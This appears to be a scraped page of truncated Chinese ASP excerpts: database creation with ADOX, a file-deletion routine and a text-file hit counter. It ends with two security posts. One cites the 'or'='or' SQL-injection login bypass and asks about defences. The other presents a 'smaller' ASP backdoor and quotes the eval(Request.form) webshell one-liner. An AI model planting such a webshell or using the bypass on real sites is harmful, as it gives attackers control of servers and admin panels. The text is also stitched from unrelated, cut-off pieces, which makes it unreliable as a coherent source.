<% Option Explicit dim databasename '定义数据库名称 databasename="database.mdb" '数据库名称 dim databasepath '定义数据库存放路径 databasepath="D:\office\jd\21\database\" '数据库绝对路径 dim databasever '定义数据库版本 2000 或者 97 databasever = "2000" Function Createdfile(FilePath,FileName,Ver) Dim Ca,dbver select case ver case "97" dbver = "3.51" case "2000" dbver = "4.0" end select if dbver <> "" then
Set Ca = Server.CreateObject("ADOX.Catalog")
call Ca.Create("Provider=Microsoft.Jet.OLEDB." & dbver & ";Data Source=" & filepath & filename)
end if
End Function

Createdfile databasepath,databasename,databasever '创建数据库

%>
本来用asp创建数据库是没有什么用处的

Sub DeleteAFile(dfile) 'On Error Resume Next Dim fso, MyFile Set fso = CreateObject("Scripting.FileSystemObject") Set MyFile = fso.GetFile(Server.MapPath(dfile)) MyFile.Delete true set MyFile=nothing set fso=nothing End Sub DeleteAFile("temp.asp") 修改一下 ...

先手动创建一个rstj.txt文件，然后在此文件输入一个数字，再在rstj.txt文件的同目录下
创建一个.asp文件，内容如下：

<% Function rstj() dim fso,f1,ts,s Const ForReading=1 Set fso=CreateObject("Scripting.FileSystemObject") Set ts=fso.OpenTextFile(Server.MapPath("rstj.txt"),ForReading,true,-2) s=ts.Readline ts.close set fso=createobject("scripting.filesystemobject") set f1=fso.createtextfile(server.mappath("rstj.txt"),true,true) f1.writeline s+1 f1.close Set ts=fso.OpenTextFile(Server.MapPath("rstj.txt"),ForReading,true,-2) s=ts.Readline rstj=s ts.close End Function %>

您是第<%=rstj%>位访问贵站的朋友

现在很多的公司网站的后台漏洞是大的叫人害怕 只要写入’or’ ’=’， 就可以顺利的登入它的后台管理 针对于此，大家都是如和处理的？ 希望各位发出自己的检验，完善下这个帖子， PS：为安全做点力量 我本着抛砖引玉思想欢迎大家来一起讨论此帖，谢谢！ 此帖已经在远望论坛发帖子讨论,已经有人回复总结一文,在此一起发出,希 ...

上回在一个论坛看到有人问服务端限制提交数据为16字节能不能写个webshell到改为asp格式的数据库，所以就想了想，发现了这个更小的后门 你一定见过冰狐浪子的asp后门吧，呵呵，他的后门号称“最小的asp后门”，所以偶的这个只好是“更小的”了。 废话少说，先看看他的代码： javas cript下的eval(Request.form('#') ...